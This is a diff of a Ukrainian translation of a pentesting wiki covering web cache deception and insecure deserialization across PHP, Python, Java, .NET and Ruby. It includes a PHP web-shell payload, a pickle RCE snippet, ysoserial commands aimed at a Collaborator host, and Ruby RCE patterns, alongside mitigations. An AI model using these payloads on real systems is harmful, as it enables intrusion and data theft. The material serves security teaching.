Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також надсилалася з помилковим значенням, ключ кешу буде сформований з правильного параметра `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.
 | 
			
		||||
Кеші часто включають специфічні GET-параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований з правильного параметра `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.
 | 
			
		||||
 | 
			
		||||
### Правила User Agent
 | 
			
		||||
 | 
			
		||||
@ -238,7 +238,7 @@ Cloudflare раніше кешував відповіді 403. Спроба до
 | 
			
		||||
 | 
			
		||||
Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
 | 
			
		||||
 | 
			
		||||
Перш за все, зверніть увагу, що **розширення** такі як `.css`, `.js`, `.png` тощо зазвичай **налаштовуються** на **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відтворює** чутливий вміст користувача, збережений у _www.example.com/profile.php_, ви можете **вкрасти** цей вміст у інших користувачів.
 | 
			
		||||
Перш за все, зверніть увагу, що **розширення** такі як `.css`, `.js`, `.png` тощо зазвичай **налаштовуються** на **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані від інших користувачів.
 | 
			
		||||
 | 
			
		||||
Інші речі для тестування:
 | 
			
		||||
 | 
			
		||||
@ -250,10 +250,10 @@ Cloudflare раніше кешував відповіді 403. Спроба до
 | 
			
		||||
- _Використовуйте менш відомі розширення, такі як_ `.avif`
 | 
			
		||||
 | 
			
		||||
Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
 | 
			
		||||
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\
 | 
			
		||||
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збереже результат.\
 | 
			
		||||
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше.
 | 
			
		||||
 | 
			
		||||
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати content-type `text/html` замість `text/css` mime типу (який очікується для _.css_ файлу).
 | 
			
		||||
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
 | 
			
		||||
 | 
			
		||||
Дізнайтеся тут, як виконати [атаки отруєння кешу, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -16,7 +16,7 @@
 | 
			
		||||
 | 
			
		||||
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
 | 
			
		||||
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
 | 
			
		||||
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
 | 
			
		||||
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує), коли об'єкт десеріалізується. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
 | 
			
		||||
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
 | 
			
		||||
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
 | 
			
		||||
```php
 | 
			
		||||
@ -121,7 +121,7 @@ $ser=serialize($o);
 | 
			
		||||
> [!INFO]
 | 
			
		||||
> Підтримка **другого аргументу** функції `unserialize()` (масив `$options`) була додана в **PHP 7.0**. У старіших версіях функція приймає лише серіалізований рядок, що ускладнює обмеження класів, які можуть бути інстанційовані.
 | 
			
		||||
 | 
			
		||||
`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. З PHP 7 поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
 | 
			
		||||
`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. Починаючи з PHP 7, поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
 | 
			
		||||
```php
 | 
			
		||||
// NEVER DO THIS – full object instantiation
 | 
			
		||||
$object = unserialize($userControlledData);
 | 
			
		||||
@ -172,7 +172,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 | 
			
		||||
 | 
			
		||||
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload'и для зловживання десеріалізаціями PHP.\
 | 
			
		||||
Зверніть увагу, що в кількох випадках ви **не зможете знайти спосіб зловживати десеріалізацією в вихідному коді** програми, але ви можете **зловживати кодом зовнішніх PHP розширень.**\
 | 
			
		||||
Отже, якщо можете, перевірте `phpinfo()` сервера та **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
 | 
			
		||||
Отже, якщо можете, перевірте `phpinfo()` сервера і **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
 | 
			
		||||
 | 
			
		||||
### phar:// метадані десеріалізації
 | 
			
		||||
 | 
			
		||||
@ -187,7 +187,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 | 
			
		||||
 | 
			
		||||
### **Pickle**
 | 
			
		||||
 | 
			
		||||
Коли об'єкт десеріалізується, буде виконана функція \_\_\_reduce\_\_\_.\
 | 
			
		||||
Коли об'єкт розпаковується, функція \_\_\_reduce\_\_\_ буде виконана.\
 | 
			
		||||
При експлуатації сервер може повернути помилку.
 | 
			
		||||
```python
 | 
			
		||||
import pickle, os, base64
 | 
			
		||||
@ -206,7 +206,7 @@ print(base64.b64encode(pickle.dumps(P())))
 | 
			
		||||
 | 
			
		||||
### Yaml **&** jsonpickle
 | 
			
		||||
 | 
			
		||||
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в бібліотеках python для yamls** і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
 | 
			
		||||
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
python-yaml-deserialization.md
 | 
			
		||||
@ -336,7 +336,7 @@ funcster.deepDeserialize(desertest3)
 | 
			
		||||
 | 
			
		||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
 | 
			
		||||
 | 
			
		||||
Пакет **serialize-javascript** призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
 | 
			
		||||
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
 | 
			
		||||
```javascript
 | 
			
		||||
function deserialize(serializedJavascript) {
 | 
			
		||||
return eval("(" + serializedJavascript + ")")
 | 
			
		||||
@ -381,7 +381,7 @@ deserialize(test)
 | 
			
		||||
Зверніть особливу увагу на:
 | 
			
		||||
 | 
			
		||||
- `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами.
 | 
			
		||||
- Метод `fromXML` з `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
 | 
			
		||||
- Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
 | 
			
		||||
- `ObjectInputStream` у поєднанні з методом `readObject`.
 | 
			
		||||
- Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
 | 
			
		||||
- `ObjectInputStream.readUnshared`.
 | 
			
		||||
@ -411,11 +411,11 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 | 
			
		||||
find . -iname "*commons*collection*"
 | 
			
		||||
grep -R InvokeTransformer .
 | 
			
		||||
```
 | 
			
		||||
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані на [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
 | 
			
		||||
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані в [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
 | 
			
		||||
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
 | 
			
		||||
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він генерує, і дайте йому закінчити. Він запише всі знахідки в _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
 | 
			
		||||
 | 
			
		||||
#### Чорний ящик
 | 
			
		||||
#### Тест чорного ящика
 | 
			
		||||
 | 
			
		||||
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
 | 
			
		||||
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
 | 
			
		||||
@ -425,10 +425,10 @@ GadgetProbe зосереджений на **`ObjectInputStream` десеріал
 | 
			
		||||
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
 | 
			
		||||
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
 | 
			
		||||
 | 
			
		||||
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. У активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
 | 
			
		||||
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявляє **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. У активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
 | 
			
		||||
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
 | 
			
		||||
 | 
			
		||||
**Тест на серіалізацію**
 | 
			
		||||
**Тест серіалізації**
 | 
			
		||||
 | 
			
		||||
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
 | 
			
		||||
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення серіалізованого об'єкта в більш зрозумілому форматі**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
 | 
			
		||||
@ -439,7 +439,7 @@ Java Deserialization Scanner зосереджений на **`ObjectInputStream`
 | 
			
		||||
 | 
			
		||||
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
 | 
			
		||||
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
 | 
			
		||||
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може працювати.
 | 
			
		||||
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може.
 | 
			
		||||
```bash
 | 
			
		||||
# PoC to make the application perform a DNS req
 | 
			
		||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
 | 
			
		||||
@ -548,7 +548,7 @@ mvn clean package -DskipTests
 | 
			
		||||
Java використовує багато серіалізації для різних цілей, таких як:
 | 
			
		||||
 | 
			
		||||
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
 | 
			
		||||
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю залежить від серіалізації, є основою для віддаленого зв'язку в Java-додатках.
 | 
			
		||||
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
 | 
			
		||||
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
 | 
			
		||||
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
 | 
			
		||||
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
 | 
			
		||||
@ -604,11 +604,11 @@ return super.resolveClass(desc);
 | 
			
		||||
```
 | 
			
		||||
-javaagent:name-of-agent.jar
 | 
			
		||||
```
 | 
			
		||||
Це забезпечує спосіб динамічно захистити десеріалізацію, ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
 | 
			
		||||
Це забезпечує спосіб динамічно захистити десеріалізацію, що ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
 | 
			
		||||
 | 
			
		||||
Перевірте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 | 
			
		||||
Перегляньте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 | 
			
		||||
 | 
			
		||||
**Реалізація фільтрів серіалізації**: Java 9 представила фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
 | 
			
		||||
**Впровадження фільтрів серіалізації**: Java 9 представила фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
 | 
			
		||||
 | 
			
		||||
Щоб використовувати фільтри серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
 | 
			
		||||
```java
 | 
			
		||||
@ -622,7 +622,7 @@ return Status.ALLOWED;
 | 
			
		||||
};
 | 
			
		||||
ObjectInputFilter.Config.setSerialFilter(filter);
 | 
			
		||||
```
 | 
			
		||||
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
 | 
			
		||||
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
 | 
			
		||||
 | 
			
		||||
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
 | 
			
		||||
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент.
 | 
			
		||||
@ -652,7 +652,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 | 
			
		||||
 | 
			
		||||
## JMS - Java Message Service
 | 
			
		||||
 | 
			
		||||
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 | 
			
		||||
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 | 
			
		||||
 | 
			
		||||
### Продукти
 | 
			
		||||
 | 
			
		||||
@ -667,7 +667,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 | 
			
		||||
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
 | 
			
		||||
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
 | 
			
		||||
 | 
			
		||||
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує введення користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
 | 
			
		||||
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
 | 
			
		||||
 | 
			
		||||
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка.
 | 
			
		||||
 | 
			
		||||
@ -706,15 +706,15 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 | 
			
		||||
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
 | 
			
		||||
 | 
			
		||||
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
 | 
			
		||||
- **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для його серіалізації)
 | 
			
		||||
- **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
 | 
			
		||||
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
 | 
			
		||||
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState
 | 
			
		||||
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
 | 
			
		||||
 | 
			
		||||
#### Більше параметрів ysoserial.net
 | 
			
		||||
 | 
			
		||||
- `--minify` надасть **менше корисне навантаження** (якщо це можливо)
 | 
			
		||||
- `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
 | 
			
		||||
- `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net шукатиме формати, що містять "xml" (незалежно від регістру)
 | 
			
		||||
- `--sf xml` ви можете **вказати гаджет** (`-g`), і ysoserial.net шукатиме формати, що містять "xml" (незалежно від регістру)
 | 
			
		||||
 | 
			
		||||
**Приклади ysoserial** для створення експлойтів:
 | 
			
		||||
```bash
 | 
			
		||||
@ -777,14 +777,14 @@ return obj;
 | 
			
		||||
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
 | 
			
		||||
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
 | 
			
		||||
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
 | 
			
		||||
- **Надійно контролюйте створення типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
 | 
			
		||||
- **Впровадьте контроль білого списку** за допомогою власного `SerializationBinder` для `BinaryFormatter` і `JSON.Net`.
 | 
			
		||||
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не створюють такі типи.
 | 
			
		||||
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
 | 
			
		||||
- **Впровадьте контролі білого списку** за допомогою власного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
 | 
			
		||||
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
 | 
			
		||||
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
 | 
			
		||||
 | 
			
		||||
### **References**
 | 
			
		||||
 | 
			
		||||
- Java і .Net JSON десеріалізація **документ:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 | 
			
		||||
- Java та .Net JSON десеріалізація **документ:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 | 
			
		||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 | 
			
		||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 | 
			
		||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 | 
			
		||||
@ -793,7 +793,7 @@ return obj;
 | 
			
		||||
 | 
			
		||||
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
 | 
			
		||||
 | 
			
		||||
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
 | 
			
		||||
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
 | 
			
		||||
 | 
			
		||||
- `config/environment.rb`
 | 
			
		||||
- `config/initializers/secret_token.rb`
 | 
			
		||||
@ -882,7 +882,7 @@ puts Base64.encode64(payload)
 | 
			
		||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
 | 
			
		||||
```
 | 
			
		||||
Більше того, якщо лише один параметр **`.send()`** контролюється зловмисником, як згадувалося в попередньому описі, можливо викликати будь-який метод об'єкта, який **не потребує аргументів** або аргументи якого мають **значення за замовчуванням**.\
 | 
			
		||||
Для цього можна перерахувати всі методи об'єкта, щоб **знайти деякі цікаві методи, які відповідають цим вимогам**.
 | 
			
		||||
Для цього можливо перерахувати всі методи об'єкта, щоб **знайти деякі цікаві методи, які відповідають цим вимогам**.
 | 
			
		||||
```ruby
 | 
			
		||||
<Object>.send('<user_input>')
 | 
			
		||||
 | 
			
		||||
@ -918,7 +918,7 @@ candidate_methods.length() # Final number of methods=> 3595
 | 
			
		||||
 | 
			
		||||
Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 | 
			
		||||
 | 
			
		||||
